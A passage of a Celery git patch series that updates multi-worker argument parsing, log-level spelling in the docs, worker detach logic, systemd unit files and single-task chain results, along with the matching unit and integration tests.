4.x, celery multi ignores the global --app option. + # Since in 5.0 the --app option is global only we + # rearrange the arguments so that the MultiTool will parse them correctly. + args = sys.argv[1:] + args = args[args.index('multi'):] + args[:args.index('multi')] + return cmd.execute_from_commandline(args) diff --git a/requirements/test-ci-default.txt b/requirements/test-ci-default.txt index 953ed9aecc7..fdcf4684733 100644 --- a/requirements/test-ci-default.txt +++ b/requirements/test-ci-default.txt @@ -12,7 +12,7 @@ -r extras/thread.txt -r extras/elasticsearch.txt -r extras/couchdb.txt --r extras/couchbase.txt +#-r extras/couchbase.txt -r extras/arangodb.txt -r extras/consul.txt -r extras/cosmosdbsql.txt diff --git a/t/unit/apps/test_multi.py b/t/unit/apps/test_multi.py index f7de1d5e27f..4c3fd9bfc1f 100644 --- a/t/unit/apps/test_multi.py +++ b/t/unit/apps/test_multi.py @@ -69,7 +69,7 @@ def test_parse(self, gethostname, mkdirs_mock): '--', '.disable_rate_limits=1', ]) p.parse() - it = multi_args(p, cmd='COMMAND', append='*AP*', + it = multi_args(p, cmd='celery multi', append='*AP*', prefix='*P*', suffix='*S*') nodes = list(it) @@ -85,32 +85,32 @@ def assert_line_in(name, args): assert_line_in( '*P*jerry@*S*', - ['COMMAND', '-n *P*jerry@*S*', '-Q bar', + ['celery multi', '-n *P*jerry@*S*', '-Q bar', '-c 5', '--flag', '--logfile=/var/log/celery/foo', '-- .disable_rate_limits=1', '*AP*'], ) assert_line_in( '*P*elaine@*S*', - ['COMMAND', '-n *P*elaine@*S*', '-Q bar', + ['celery multi', '-n *P*elaine@*S*', '-Q bar', '-c 5', '--flag', '--logfile=/var/log/celery/foo', '-- .disable_rate_limits=1', '*AP*'], ) assert_line_in( '*P*kramer@*S*', - ['COMMAND', '--loglevel=DEBUG', '-n *P*kramer@*S*', + ['celery multi', '--loglevel=DEBUG', '-n *P*kramer@*S*', '-Q bar', '--flag', '--logfile=/var/log/celery/foo', '-- .disable_rate_limits=1', '*AP*'], ) expand = nodes[0].expander assert expand('%h') == '*P*jerry@*S*' assert expand('%n') == '*P*jerry' - nodes2 = list(multi_args(p, cmd='COMMAND', append='', + nodes2 = list(multi_args(p, cmd='celery multi', append='', prefix='*P*', suffix='*S*')) assert nodes2[0].argv[-1] == '-- .disable_rate_limits=1' p2 = NamespacedOptionParser(['10', '-c:1', '5']) p2.parse() - nodes3 = list(multi_args(p2, cmd='COMMAND')) + nodes3 = list(multi_args(p2, cmd='celery multi')) def _args(name, *args): return args + ( @@ -123,40 +123,40 @@ def _args(name, *args): assert len(nodes3) == 10 assert nodes3[0].name == 'celery1@example.com' assert nodes3[0].argv == ( - 'COMMAND', '-c 5', '-n celery1@example.com') + _args('celery1') + 'celery multi', '-c 5', '-n celery1@example.com') + _args('celery1') for i, worker in enumerate(nodes3[1:]): assert worker.name == 'celery%s@example.com' % (i + 2) node_i = f'celery{i + 2}' assert worker.argv == ( - 'COMMAND', + 'celery multi', f'-n {node_i}@example.com') + _args(node_i) - nodes4 = list(multi_args(p2, cmd='COMMAND', suffix='""')) + nodes4 = list(multi_args(p2, cmd='celery multi', suffix='""')) assert len(nodes4) == 10 assert nodes4[0].name == 'celery1@' assert nodes4[0].argv == ( - 'COMMAND', '-c 5', '-n celery1@') + _args('celery1') + 'celery multi', '-c 5', '-n celery1@') + _args('celery1') p3 = NamespacedOptionParser(['foo@', '-c:foo', '5']) p3.parse() - nodes5 = list(multi_args(p3, cmd='COMMAND', suffix='""')) + nodes5 = list(multi_args(p3, cmd='celery multi', suffix='""')) assert nodes5[0].name == 'foo@' assert nodes5[0].argv == ( - 'COMMAND', '-c 5', '-n foo@') + _args('foo') + 'celery multi', '-c 5', '-n foo@') + _args('foo') p4 = NamespacedOptionParser(['foo', '-Q:1', 'test']) p4.parse() - nodes6 = list(multi_args(p4, cmd='COMMAND', suffix='""')) + nodes6 = list(multi_args(p4, cmd='celery multi', suffix='""')) assert nodes6[0].name == 'foo@' assert nodes6[0].argv == ( - 'COMMAND', '-Q test', '-n foo@') + _args('foo') + 'celery multi', '-Q test', '-n foo@') + _args('foo') p5 = NamespacedOptionParser(['foo@bar', '-Q:1', 'test']) p5.parse() - nodes7 = list(multi_args(p5, cmd='COMMAND', suffix='""')) + nodes7 = list(multi_args(p5, cmd='celery multi', suffix='""')) assert nodes7[0].name == 'foo@bar' assert nodes7[0].argv == ( - 'COMMAND', '-Q test', '-n foo@bar') + _args('foo') + 'celery multi', '-Q test', '-n foo@bar') + _args('foo') p6 = NamespacedOptionParser(['foo@bar', '-Q:0', 'test']) p6.parse() @@ -192,8 +192,7 @@ def test_from_kwargs(self): max_tasks_per_child=30, A='foo', Q='q1,q2', O='fair', ) assert sorted(n.argv) == sorted([ - '-m celery worker --detach', - '-A foo', + '-m celery -A foo worker --detach', f'--executable={n.executable}', '-O fair', '-n foo@bar.com', From b81ac620800a914eba9e18825b86325709c59421 Mon Sep 17 00:00:00 2001 From: bastb Date: Sun, 11 Oct 2020 16:17:41 +0200 Subject: [PATCH 020/415] Contains the missed change requested by @thedrow --- celery/apps/worker.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/celery/apps/worker.py b/celery/apps/worker.py index 2a9df0c2e79..882751fb8a9 100644 --- a/celery/apps/worker.py +++ b/celery/apps/worker.py @@ -142,8 +142,6 @@ def on_start(self): # TODO: Remove the following code in Celery 6.0 # This qualifies as a hack for issue #6366. - # a hack via app.__reduce_keys__(), but that may not work properly in - # all cases warn_deprecated = True config_source = app._config_source if isinstance(config_source, str): From c508296ce64b54578d37a66bc8e34ccba667e2e2 Mon Sep 17 00:00:00 2001 From: Zvi Baratz Date: Sat, 10 Oct 2020 12:45:13 +0300 Subject: [PATCH 021/415] Added a some celery configuration examples. --- docs/django/first-steps-with-django.rst | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index 956d965313b..ce48203d66c 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -54,7 +54,7 @@ for simple projects you may use a single contained module that defines both the app and tasks, like in the :ref:`tut-celery` tutorial. Let's break down what happens in the first module, -first, we set the default :envvar:`DJANGO_SETTINGS_MODULE` environment +first, we set the default :envvar:`DJANGO_SETTINGS_MODULE` environment variable for the :program:`celery` command-line program: .. code-block:: python @@ -90,6 +90,18 @@ setting becomes ``CELERY_BROKER_URL``. This also applies to the workers settings, for instance, the :setting:`worker_concurrency` setting becomes ``CELERY_WORKER_CONCURRENCY``. +For example, a Django project's configuration file might include: + +.. code-block:: python + :caption: settings.py + + ... + + # Celery Configuration Options + CELERY_TIMEZONE = "Australia/Tasmania" + CELERY_TASK_TRACK_STARTED = True + CELERY_TASK_TIME_LIMIT = 30 * 60 + You can pass the settings object directly instead, but using a string is better since then the worker doesn't have to serialize the object. The ``CELERY_`` namespace is also optional, but recommended (to From 70cbed3e2f6992ecbbc9257f60a9d251a6dceaf6 Mon Sep 17 00:00:00 2001 From: Artem Bernatskyi Date: Mon, 12 Oct 2020 16:37:23 +0300 Subject: [PATCH 022/415] fixed loglevel info->INFO in docs --- docs/django/first-steps-with-django.rst | 2 +- docs/getting-started/next-steps.rst | 14 +++++++------- docs/userguide/application.rst | 4 ++-- docs/userguide/calling.rst | 2 +- docs/userguide/debugging.rst | 2 +- docs/userguide/workers.rst | 10 +++++----- examples/app/myapp.py | 6 +++--- examples/django/README.rst | 2 +- examples/eventlet/README.rst | 2 +- examples/periodic-tasks/myapp.py | 8 ++++---- examples/security/mysecureapp.py | 2 +- 11 files changed, 27 insertions(+), 27 deletions(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index ce48203d66c..55d64c990eb 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -247,7 +247,7 @@ development it is useful to be able to start a worker instance by using the .. code-block:: console - $ celery -A proj worker -l info + $ celery -A proj worker -l INFO For a complete listing of the command-line options available, use the help command: diff --git a/docs/getting-started/next-steps.rst b/docs/getting-started/next-steps.rst index 1cf0b35f714..2b66fd5ce04 100644 --- a/docs/getting-started/next-steps.rst +++ b/docs/getting-started/next-steps.rst @@ -74,7 +74,7 @@ The :program:`celery` program can be used to start the worker (you need to run t .. code-block:: console - $ celery -A proj worker -l info + $ celery -A proj worker -l INFO When the worker starts you should see a banner and some messages:: @@ -152,7 +152,7 @@ start one or more workers in the background: .. code-block:: console - $ celery multi start w1 -A proj -l info + $ celery multi start w1 -A proj -l INFO celery multi v4.0.0 (latentcall) > Starting nodes... > w1.halcyon.local: OK @@ -161,7 +161,7 @@ You can restart it too: .. code-block:: console - $ celery multi restart w1 -A proj -l info + $ celery multi restart w1 -A proj -l INFO celery multi v4.0.0 (latentcall) > Stopping nodes... > w1.halcyon.local: TERM -> 64024 @@ -176,7 +176,7 @@ or stop it: .. code-block:: console - $ celery multi stop w1 -A proj -l info + $ celery multi stop w1 -A proj -l INFO The ``stop`` command is asynchronous so it won't wait for the worker to shutdown. You'll probably want to use the ``stopwait`` command @@ -185,7 +185,7 @@ before exiting: .. code-block:: console - $ celery multi stopwait w1 -A proj -l info + $ celery multi stopwait w1 -A proj -l INFO .. note:: @@ -202,7 +202,7 @@ you're encouraged to put these in a dedicated directory: $ mkdir -p /var/run/celery $ mkdir -p /var/log/celery - $ celery multi start w1 -A proj -l info --pidfile=/var/run/celery/%n.pid \ + $ celery multi start w1 -A proj -l INFO --pidfile=/var/run/celery/%n.pid \ --logfile=/var/log/celery/%n%I.log With the multi command you can start multiple workers, and there's a powerful @@ -211,7 +211,7 @@ for example: .. code-block:: console - $ celery multi start 10 -A proj -l info -Q:1-3 images,video -Q:4,5 data \ + $ celery multi start 10 -A proj -l INFO -Q:1-3 images,video -Q:4,5 data \ -Q default -L:4,5 debug For more examples see the :mod:`~celery.bin.multi` module in the API diff --git a/docs/userguide/application.rst b/docs/userguide/application.rst index 1e6c4cf13ae..6ec6c7f8f89 100644 --- a/docs/userguide/application.rst +++ b/docs/userguide/application.rst @@ -257,7 +257,7 @@ You can then specify the configuration module to use via the environment: .. code-block:: console - $ CELERY_CONFIG_MODULE="celeryconfig.prod" celery worker -l info + $ CELERY_CONFIG_MODULE="celeryconfig.prod" celery worker -l INFO .. _app-censored-config: @@ -431,7 +431,7 @@ chain breaks: .. code-block:: console - $ CELERY_TRACE_APP=1 celery worker -l info + $ CELERY_TRACE_APP=1 celery worker -l INFO .. topic:: Evolving the API diff --git a/docs/userguide/calling.rst b/docs/userguide/calling.rst index 04c7f9ba718..811820b44a1 100644 --- a/docs/userguide/calling.rst +++ b/docs/userguide/calling.rst @@ -692,7 +692,7 @@ the workers :option:`-Q ` argument: .. code-block:: console - $ celery -A proj worker -l info -Q celery,priority.high + $ celery -A proj worker -l INFO -Q celery,priority.high .. seealso:: diff --git a/docs/userguide/debugging.rst b/docs/userguide/debugging.rst index 4eeb539be36..690e2acb4bd 100644 --- a/docs/userguide/debugging.rst +++ b/docs/userguide/debugging.rst @@ -110,7 +110,7 @@ For example starting the worker with: .. code-block:: console - $ CELERY_RDBSIG=1 celery worker -l info + $ CELERY_RDBSIG=1 celery worker -l INFO You can start an rdb session for any of the worker processes by executing: diff --git a/docs/userguide/workers.rst b/docs/userguide/workers.rst index 098d3005f68..aec8c9e5414 100644 --- a/docs/userguide/workers.rst +++ b/docs/userguide/workers.rst @@ -23,7 +23,7 @@ You can start the worker in the foreground by executing the command: .. code-block:: console - $ celery -A proj worker -l info + $ celery -A proj worker -l INFO For a full list of available command-line options see :mod:`~celery.bin.worker`, or simply do: @@ -108,7 +108,7 @@ is by using `celery multi`: .. code-block:: console - $ celery multi start 1 -A proj -l info -c4 --pidfile=/var/run/celery/%n.pid + $ celery multi start 1 -A proj -l INFO -c4 --pidfile=/var/run/celery/%n.pid $ celery multi restart 1 --pidfile=/var/run/celery/%n.pid For production deployments you should be using init-scripts or a process @@ -410,7 +410,7 @@ argument to :program:`celery worker`: .. code-block:: console - $ celery -A proj worker -l info --statedb=/var/run/celery/worker.state + $ celery -A proj worker -l INFO --statedb=/var/run/celery/worker.state or if you use :program:`celery multi` you want to create one file per worker instance so use the `%n` format to expand the current node @@ -418,7 +418,7 @@ name: .. code-block:: console - celery multi start 2 -l info --statedb=/var/run/celery/%n.state + celery multi start 2 -l INFO --statedb=/var/run/celery/%n.state See also :ref:`worker-files` @@ -611,7 +611,7 @@ separated list of queues to the :option:`-Q ` option: .. code-block:: console - $ celery -A proj worker -l info -Q foo,bar,baz + $ celery -A proj worker -l INFO -Q foo,bar,baz If the queue name is defined in :setting:`task_queues` it will use that configuration, but if it's not defined in the list of queues Celery will diff --git a/examples/app/myapp.py b/examples/app/myapp.py index 3490a3940bd..7ee8727095a 100644 --- a/examples/app/myapp.py +++ b/examples/app/myapp.py @@ -2,7 +2,7 @@ Usage:: - (window1)$ python myapp.py worker -l info + (window1)$ python myapp.py worker -l INFO (window2)$ python >>> from myapp import add @@ -13,13 +13,13 @@ You can also specify the app to use with the `celery` command, using the `-A` / `--app` option:: - $ celery -A myapp worker -l info + $ celery -A myapp worker -l INFO With the `-A myproj` argument the program will search for an app instance in the module ``myproj``. You can also specify an explicit name using the fully qualified form:: - $ celery -A myapp:app worker -l info + $ celery -A myapp:app worker -l INFO """ diff --git a/examples/django/README.rst b/examples/django/README.rst index 0334ef7df04..80d7a13cadd 100644 --- a/examples/django/README.rst +++ b/examples/django/README.rst @@ -46,7 +46,7 @@ Starting the worker .. code-block:: console - $ celery -A proj worker -l info + $ celery -A proj worker -l INFO Running a task =================== diff --git a/examples/eventlet/README.rst b/examples/eventlet/README.rst index 672ff6f1461..84a1856f314 100644 --- a/examples/eventlet/README.rst +++ b/examples/eventlet/README.rst @@ -18,7 +18,7 @@ Before you run any of the example tasks you need to start the worker:: $ cd examples/eventlet - $ celery worker -l info --concurrency=500 --pool=eventlet + $ celery worker -l INFO --concurrency=500 --pool=eventlet As usual you need to have RabbitMQ running, see the Celery getting started guide if you haven't installed it yet. diff --git a/examples/periodic-tasks/myapp.py b/examples/periodic-tasks/myapp.py index 166b9234146..b2e4f0b8045 100644 --- a/examples/periodic-tasks/myapp.py +++ b/examples/periodic-tasks/myapp.py @@ -3,10 +3,10 @@ Usage:: # The worker service reacts to messages by executing tasks. - (window1)$ python myapp.py worker -l info + (window1)$ python myapp.py worker -l INFO # The beat service sends messages at scheduled intervals. - (window2)$ python myapp.py beat -l info + (window2)$ python myapp.py beat -l INFO # XXX To diagnose problems use -l debug: (window2)$ python myapp.py beat -l debug @@ -18,13 +18,13 @@ You can also specify the app to use with the `celery` command, using the `-A` / `--app` option:: - $ celery -A myapp worker -l info + $ celery -A myapp worker -l INFO With the `-A myproj` argument the program will search for an app instance in the module ``myproj``. You can also specify an explicit name using the fully qualified form:: - $ celery -A myapp:app worker -l info + $ celery -A myapp:app worker -l INFO """ diff --git a/examples/security/mysecureapp.py b/examples/security/mysecureapp.py index 9578fa62272..21061a890da 100644 --- a/examples/security/mysecureapp.py +++ b/examples/security/mysecureapp.py @@ -14,7 +14,7 @@ cd examples/security - (window1)$ python mysecureapp.py worker -l info + (window1)$ python mysecureapp.py worker -l INFO (window2)$ cd examples/security (window2)$ python From 06dfe27d4542860c01c870a41fc5fbb80e5c4e20 Mon Sep 17 00:00:00 2001 From: ZubAnt Date: Wed, 7 Oct 2020 20:33:59 +0300 Subject: [PATCH 023/415] return list instead set in CommaSeparatedList _broadcast method of kombu Mailbox. does not support set https://github.com/celery/kombu/blob/7b2578b19ba4b1989b722f6f6e7efee2a1a4d86a/kombu/pidbox.py#L319 --- celery/bin/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/bin/base.py b/celery/bin/base.py index fbb56d84dbb..52f94382c65 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -168,7 +168,7 @@ class CommaSeparatedList(ParamType): name = "comma separated list" def convert(self, value, param, ctx): - return set(text.str_to_list(value)) + return text.str_to_list(value) class Json(ParamType): From 735f1679047a1358254252edc5cbf2624c86aadc Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 13 Oct 2020 14:48:21 +0300 Subject: [PATCH 024/415] Rewrite detaching logic (#6401) * Rewrite detaching logic. * Ignore empty arguments. * Ensure the SystemD services are up to date. --- celery/apps/multi.py | 2 +- celery/bin/worker.py | 53 +++++++++------------- docs/userguide/daemonizing.rst | 75 ++++++++++++++++---------------- extra/systemd/celery.service | 10 ++--- extra/systemd/celerybeat.service | 6 +-- 5 files changed, 68 insertions(+), 78 deletions(-) diff --git a/celery/apps/multi.py b/celery/apps/multi.py index a1458e3bd63..448c7cd6fbd 100644 --- a/celery/apps/multi.py +++ b/celery/apps/multi.py @@ -78,7 +78,7 @@ def __init__(self, args): self.namespaces = defaultdict(lambda: OrderedDict()) def parse(self): - rargs = list(self.args) + rargs = [arg for arg in self.args if arg] pos = 0 while pos < len(rargs): arg = rargs[pos] diff --git a/celery/bin/worker.py b/celery/bin/worker.py index bf58dbea647..0472fde4c4b 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -10,7 +10,8 @@ from celery import concurrency from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, CeleryDaemonCommand, CeleryOption) -from celery.platforms import EX_FAILURE, detached, maybe_drop_privileges +from celery.platforms import (EX_FAILURE, EX_OK, detached, + maybe_drop_privileges) from celery.utils.log import get_logger from celery.utils.nodenames import default_nodename, host_format, node_format @@ -99,6 +100,7 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, if executable is not None: path = executable os.execv(path, [path] + argv) + return EX_OK except Exception: # pylint: disable=broad-except if app is None: from celery import current_app @@ -107,7 +109,7 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, 'ERROR', logfile, hostname=hostname) logger.critical("Can't exec %r", ' '.join([path] + argv), exc_info=True) - return EX_FAILURE + return EX_FAILURE @click.command(cls=CeleryDaemonCommand, @@ -290,36 +292,23 @@ def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, "Unable to parse extra configuration from command line.\n" f"Reason: {e}", ctx=ctx) if kwargs.get('detach', False): - params = ctx.params.copy() - params.pop('detach') - params.pop('logfile') - params.pop('pidfile') - params.pop('uid') - params.pop('gid') - umask = params.pop('umask') - workdir = ctx.obj.workdir - params.pop('hostname') - executable = params.pop('executable') - argv = ['-m', 'celery', 'worker'] - for arg, value in params.items(): - arg = arg.replace("_", "-") - if isinstance(value, bool) and value: - argv.append(f'--{arg}') - else: - if value is not None: - argv.append(f'--{arg}') - argv.append(str(value)) - return detach(sys.executable, - argv, - logfile=logfile, - pidfile=pidfile, - uid=uid, gid=gid, - umask=umask, - workdir=workdir, - app=app, - executable=executable, - hostname=hostname) - return + argv = ['-m', 'celery'] + sys.argv[1:] + if '--detach' in argv: + argv.remove('--detach') + if '-D' in argv: + argv.remove('-D') + + return detach(sys.executable, + argv, + logfile=logfile, + pidfile=pidfile, + uid=uid, gid=gid, + umask=kwargs.get('umask', None), + workdir=kwargs.get('workdir', None), + app=app, + executable=kwargs.get('executable', None), + hostname=hostname) + maybe_drop_privileges(uid=uid, gid=gid) worker = app.Worker( hostname=hostname, pool_cls=pool_cls, loglevel=loglevel, diff --git a/docs/userguide/daemonizing.rst b/docs/userguide/daemonizing.rst index 07e39009c97..ae804f6c32e 100644 --- a/docs/userguide/daemonizing.rst +++ b/docs/userguide/daemonizing.rst @@ -389,27 +389,28 @@ This is an example systemd file: .. code-block:: bash - [Unit] - Description=Celery Service - After=network.target - - [Service] - Type=forking - User=celery - Group=celery - EnvironmentFile=/etc/conf.d/celery - WorkingDirectory=/opt/celery - ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} multi start ${CELERYD_NODES} \ - --pidfile=${CELERYD_PID_FILE} \ - --logfile=${CELERYD_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL} ${CELERYD_OPTS}' - ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait ${CELERYD_NODES} \ - --pidfile=${CELERYD_PID_FILE}' - ExecReload=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} multi restart ${CELERYD_NODES} \ - --pidfile=${CELERYD_PID_FILE} \ - --logfile=${CELERYD_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL} ${CELERYD_OPTS}' - - [Install] - WantedBy=multi-user.target + [Unit] + Description=Celery Service + After=network.target + + [Service] + Type=forking + User=celery + Group=celery + EnvironmentFile=/etc/conf.d/celery + WorkingDirectory=/opt/celery + ExecStart=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi start $CELERYD_NODES \ + --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ + --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' + ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait $CELERYD_NODES \ + --pidfile=${CELERYD_PID_FILE} --loglevel="${CELERYD_LOG_LEVEL}"' + ExecReload=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi restart $CELERYD_NODES \ + --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ + --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' + Restart=always + + [Install] + WantedBy=multi-user.target Once you've put that file in :file:`/etc/systemd/system`, you should run :command:`systemctl daemon-reload` in order that Systemd acknowledges that file. @@ -482,22 +483,22 @@ This is an example systemd file for Celery Beat: .. code-block:: bash - [Unit] - Description=Celery Beat Service - After=network.target - - [Service] - Type=simple - User=celery - Group=celery - EnvironmentFile=/etc/conf.d/celery - WorkingDirectory=/opt/celery - ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ - --pidfile=${CELERYBEAT_PID_FILE} \ - --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' - - [Install] - WantedBy=multi-user.target + [Unit] + Description=Celery Beat Service + After=network.target + + [Service] + Type=simple + User=celery + Group=celery + EnvironmentFile=/etc/conf.d/celery + WorkingDirectory=/opt/celery + ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ + --pidfile=${CELERYBEAT_PID_FILE} \ + --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' + + [Install] + WantedBy=multi-user.target Running the worker with superuser privileges (root) diff --git a/extra/systemd/celery.service b/extra/systemd/celery.service index b1d6d03b723..2510fb83cb0 100644 --- a/extra/systemd/celery.service +++ b/extra/systemd/celery.service @@ -8,13 +8,13 @@ User=celery Group=celery EnvironmentFile=-/etc/conf.d/celery WorkingDirectory=/opt/celery -ExecStart=/bin/sh -c '${CELERY_BIN} multi start $CELERYD_NODES \ - -A $CELERY_APP --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ +ExecStart=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi start $CELERYD_NODES \ + --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait $CELERYD_NODES \ - --pidfile=${CELERYD_PID_FILE}' -ExecReload=/bin/sh -c '${CELERY_BIN} multi restart $CELERYD_NODES \ - -A $CELERY_APP --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ + --pidfile=${CELERYD_PID_FILE} --loglevel="${CELERYD_LOG_LEVEL}"' +ExecReload=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi restart $CELERYD_NODES \ + --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' Restart=always diff --git a/extra/systemd/celerybeat.service b/extra/systemd/celerybeat.service index c8879612d19..8cb2ad3687e 100644 --- a/extra/systemd/celerybeat.service +++ b/extra/systemd/celerybeat.service @@ -6,10 +6,10 @@ After=network.target Type=simple User=celery Group=celery -EnvironmentFile=-/etc/conf.d/celery +EnvironmentFile=/etc/conf.d/celery WorkingDirectory=/opt/celery -ExecStart=/bin/sh -c '${CELERY_BIN} beat \ - -A ${CELERY_APP} --pidfile=${CELERYBEAT_PID_FILE} \ +ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ + --pidfile=${CELERYBEAT_PID_FILE} \ --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' [Install] From 9367d3615f99d6ec623dd235e7ec5387fe9926eb Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 13 Oct 2020 16:31:29 +1100 Subject: [PATCH 025/415] fix: Pass back real result for single task chains When chains are delayed, they are first frozen as part of preparation which causes the sub-tasks to also be frozen. Afterward, the final (0th since we reverse the tasks/result order when freezing) result object from the freezing process would be passed back to the caller. This caused problems in signaling completion of groups contained in chains because the group relies on a promise which is fulfilled by a barrier linked to each of its applied subtasks. By constructing two `GroupResult` objects (one during freezing, one when the chain sub-tasks are applied), this resulted in there being two promises; only one of which would actually be fulfilled by the group subtasks. This change ensures that in the special case where a chain has a single task, we pass back the result object constructed when the task was actually applied. When that single child is a group which does not get unrolled (ie. contains more than one child itself), this ensures that we pass back a `GroupResult` object which will actually be fulfilled. The caller can then await the result confidently! --- celery/canvas.py | 16 +++++++++---- t/integration/test_canvas.py | 18 +++++++++++++++ t/unit/tasks/test_canvas.py | 44 +++++++++++++++++++++++++++++++++++- 3 files changed, 73 insertions(+), 5 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 7871f7b395d..866c1c888b2 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -652,19 +652,27 @@ def run(self, args=None, kwargs=None, group_id=None, chord=None, args = (tuple(args) + tuple(self.args) if args and not self.immutable else self.args) - tasks, results = self.prepare_steps( + tasks, results_from_prepare = self.prepare_steps( args, kwargs, self.tasks, root_id, parent_id, link_error, app, task_id, group_id, chord, ) - if results: + if results_from_prepare: if link: tasks[0].extend_list_option('link', link) first_task = tasks.pop() options = _prepare_chain_from_options(options, tasks, use_link) - first_task.apply_async(**options) - return results[0] + result_from_apply = first_task.apply_async(**options) + # If we only have a single task, it may be important that we pass + # the real result object rather than the one obtained via freezing. + # e.g. For `GroupResult`s, we need to pass back the result object + # which will actually have its promise fulfilled by the subtasks, + # something that will never occur for the frozen result. + if not tasks: + return result_from_apply + else: + return results_from_prepare[0] def freeze(self, _id=None, group_id=None, chord=None, root_id=None, parent_id=None, group_index=None): diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index f5d19184a34..6b1f316b03e 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -413,6 +413,16 @@ def test_chain_of_a_chord_and_three_tasks_and_a_group(self, manager): res = c() assert res.get(timeout=TIMEOUT) == [8, 8] + def test_nested_chain_group_lone(self, manager): + """ + Test that a lone group in a chain completes. + """ + sig = chain( + group(identity.s(42), identity.s(42)), # [42, 42] + ) + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 42] + class test_result_set: @@ -504,6 +514,14 @@ def test_large_group(self, manager): assert res.get(timeout=TIMEOUT) == list(range(1000)) + def test_group_lone(self, manager): + """ + Test that a simple group completes. + """ + sig = group(identity.s(42), identity.s(42)) # [42, 42] + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 42] + def assert_ids(r, expected_value, expected_root_id, expected_parent_id): root_id, parent_id, value = r.get(timeout=TIMEOUT) diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 53f98615e8e..c15dec83d60 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -1,5 +1,5 @@ import json -from unittest.mock import MagicMock, Mock +from unittest.mock import MagicMock, Mock, patch import pytest @@ -535,6 +535,48 @@ def test_append_to_empty_chain(self): assert x.apply().get() == 3 + @pytest.mark.usefixtures('depends_on_current_app') + def test_chain_single_child_result(self): + child_sig = self.add.si(1, 1) + chain_sig = chain(child_sig) + assert chain_sig.tasks[0] is child_sig + + with patch.object( + # We want to get back the result of actually applying the task + child_sig, "apply_async", + ) as mock_apply, patch.object( + # The child signature may be clone by `chain.prepare_steps()` + child_sig, "clone", return_value=child_sig, + ): + res = chain_sig() + # `_prepare_chain_from_options()` sets this `chain` kwarg with the + # subsequent tasks which would be run - nothing in this case + mock_apply.assert_called_once_with(chain=[]) + assert res is mock_apply.return_value + + @pytest.mark.usefixtures('depends_on_current_app') + def test_chain_single_child_group_result(self): + child_sig = self.add.si(1, 1) + # The group will `clone()` the child during instantiation so mock it + with patch.object(child_sig, "clone", return_value=child_sig): + group_sig = group(child_sig) + # Now we can construct the chain signature which is actually under test + chain_sig = chain(group_sig) + assert chain_sig.tasks[0].tasks[0] is child_sig + + with patch.object( + # We want to get back the result of actually applying the task + child_sig, "apply_async", + ) as mock_apply, patch.object( + # The child signature may be clone by `chain.prepare_steps()` + child_sig, "clone", return_value=child_sig, + ): + res = chain_sig() + # `_prepare_chain_from_options()` sets this `chain` kwarg with the + # subsequent tasks which would be run - nothing in this case + mock_apply.assert_called_once_with(chain=[]) + assert res is mock_apply.return_value + class test_group(CanvasCase): From f1dbf3f05fb047c4d57c61b4ccaa0dcedd16e193 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Fri, 18 Sep 2020 14:23:40 +1000 Subject: [PATCH 026/415] fix: Retain `group_id` when tasks get re-frozen When a group task which is part of a chain was to be delayed by `trace_task()`, it would be reconstructed from the serialized request. Normally, this sets the 